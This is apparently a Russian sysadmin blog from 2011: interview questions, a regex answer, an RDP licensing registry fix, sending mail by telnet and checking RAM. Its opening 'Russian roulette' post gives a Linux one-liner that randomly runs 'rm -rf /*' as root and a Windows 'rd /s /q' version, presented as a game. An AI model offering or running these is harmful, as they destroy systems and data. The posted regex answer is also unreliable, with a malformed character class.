23 июн. 2011 г.

Рууская рулетка для админов.

Играть в Русскую Рулетку имеют право только администраторы (root), желательно на сервере, имеющем свыше 3000 посещений в день. Как было выяснено админами Ниеншанца (на практике), данная комбинация успешно работает в Linux и FreeBSD в последних версиях coreutils.

# [ $[ $RANDOM % 6 ] == 0 ] && rm -rf /* || echo "Жив"

Версия Русской Рулетки под Windows:
set /a R=0+6*%random%/32768 & if %R% == 0 (rd /s /q .\) else (echo ЖИВ)

22 июн. 2011 г.

Ошибка. The remote session was disconnected because there are no Terminal Server Client access licenses ...

Ошибка:
The remote session was disconnected because there are no Terminal Server Client access licenses available for this computer. Please contact the server administrator.
Решение:
start>run>regedit>hkey_local_machine\software\microsoft\mslicensing
удаляем каталог mslicensing, желательно под админом.

Подключаемся к удаленному рабочему столу.

REGEXP (Ответ 2)

Вопрос:
- Написать регэксп, под который попадут следующие строки

www.mydomain.com
www.MyDomain.com
www.my-domain.com
www.my - domain.com
www.My - Domain.com
и не попадут следующие:
www.My-Domain.com
www.otherdomain.com
www.motherdomain.com

Ответ:

w{3}\.(my|My)(d|D|[\w'-\s])[^D][\w'-\s][a-zA-Z]+\.com


Почитать стоит тут и тут.

Проверит можно тут.

Задание для приема на работу.

Вот недавно прислали такое задание, типа собеседование на работу.

Порыл по интернету и вижу что такое задание время от времени всплывает на разных сайтах, но ответа так никто и не выложил.

Для начала вот само задание, а в последующих постах дам ответы.

1) SMTP:
- руками отправить письмо с помощью telnet

2) REGEXP:
- Написать регэксп, под который попадут следующие строки
www.mydomain.com
www.MyDomain.com
www.my-domain.com
www.my - domain.com
www.My - Domain.com
и не попадут следующие:
www.My-Domain.com
www.otherdomain.com
www.motherdomain.com

3) - В чем разница между /(somepattern)/i и /(?:somepattern)/i применительно
к строке "my SomePattern string"
4) - что из нижеперечисленного проматчит паттерн /w{2,3}./
www.domain
ww.domain
wwww.domain
wwwww.domain
w.domain
domain
5) - что из нижеперечисленного проматчит паттерн /w{,3}./
www.domain
ww.domain
wwww.domain
wwwww.domain
w.domain
.domain
domain
6) SHELL, утилиты:
- как скопировать все файлы заканчивающиеся на .txt в файлы с соотв. началом, но заканчивающимися на .new.txt, например было file1.txt стало file1.new.txt
7) - заменить во всех .txt файлах внутри некоей директории dir ( и ее поддиректориях соответственно ) URL 'http://www.mydomain.ru/' на 'http://mydomain.su/'
8) - дано дерево из директорий, поддиректорий и файлов вложенности N. Имена файлов и названия директорий - шестнадцатеричные числа. Надо удалить все файлы, которые не менялись больше недели.
9) - необходимо отмонтировать файловую систему, примонтированную допустим в /kuku. umount говорит, что filesystem is busy и размонтирования не производит. Ваши действия.
10) - часть софта на сервере была установлена из исходников прямо поверх ( и в те-же директории ) что и софт из RPM. Необходимо чтобы все было установлено из rpm. Ваши действия.
11) HTTP:
- какой из нижеприведенных хедеров - неправильный
X-Forwarded-For: 118.11.11.118
Location: index.html
Accept-Ranges: bytes
12) APACHE:
- как добавить в конфиг апача новый виртуальный хост
13) - что нужно прописать в конфиг апача, чтобы URL http://domain.com/script обрабатывался php скриптом
14) - как сделать так, чтобы при отсутствии файлов index.htm и т.п. сервер НЕ показывал бы содержимое директории.
15) DNS
- Что здесь не так:
$ORIGIN domain.com.
@ in soa ns.domain.com ( 2004102701 28800 7200 604800 86400 )
@ in a 192.168.0.1
@ in ns ns1.domain.com.
@ in ns ns2
@ in txt "domain.com"
@ in mx 10 mymx.domain.com.
@ in mx 5 mymx2.domain.com.
@ in mx mymx3.domain.com.
@ in cname otherdomain.com.
www in cname domain.com
ns1 in a 192.168.0.1
ns2 in a 192.168.0.2
mymx in a 192.168.0.3
mymx2 in a 192.168.0.4
mymx3 in a 192.168.0.5
16) Networking
- Напишите набор опций для tcpdump позволяющий показать все SYN пакеты на 53 порт для определенного физического сервера ( на сервере много IP, мак известен )
17) - В чем по вашему смысл правил
-A INPUT -i ! eth0 -p tcp -m tcp -m state --state NEW -j REJECT --reject-with icmp-port-unreachable
-A INPUT -i ! eth0 -p udp -m udp -m state --state NEW -j REJECT --reject-with icmp-port-unreachable
18) - Напишите правило(а), разрешающие на роутере пропускать ping от хоста 10.0.0.2 (и ответы ему соответственно )

21 июн. 2011 г.

Отправка почты через telnet

Как проверить работоспособность почтового сервера или просто отправить сообщение с помощью telnet.

1) telnet smtp.mail.ua 25
2) mail from: alex@mail.ua
3) rcpt to: friend@mail.ua
4) data
5) Пишем текст письма, что бы закончить письмо в новой строке ставим "." и нажимаем "Enter"

Письмо ушло :)

Как узнать сколько оперативной памяти на линукс?

Все очень просто, предлагаю пару вариантов:

1) top
2) free
3) cat /proc/meminfo

Везде смотрим параметр "MemTotal".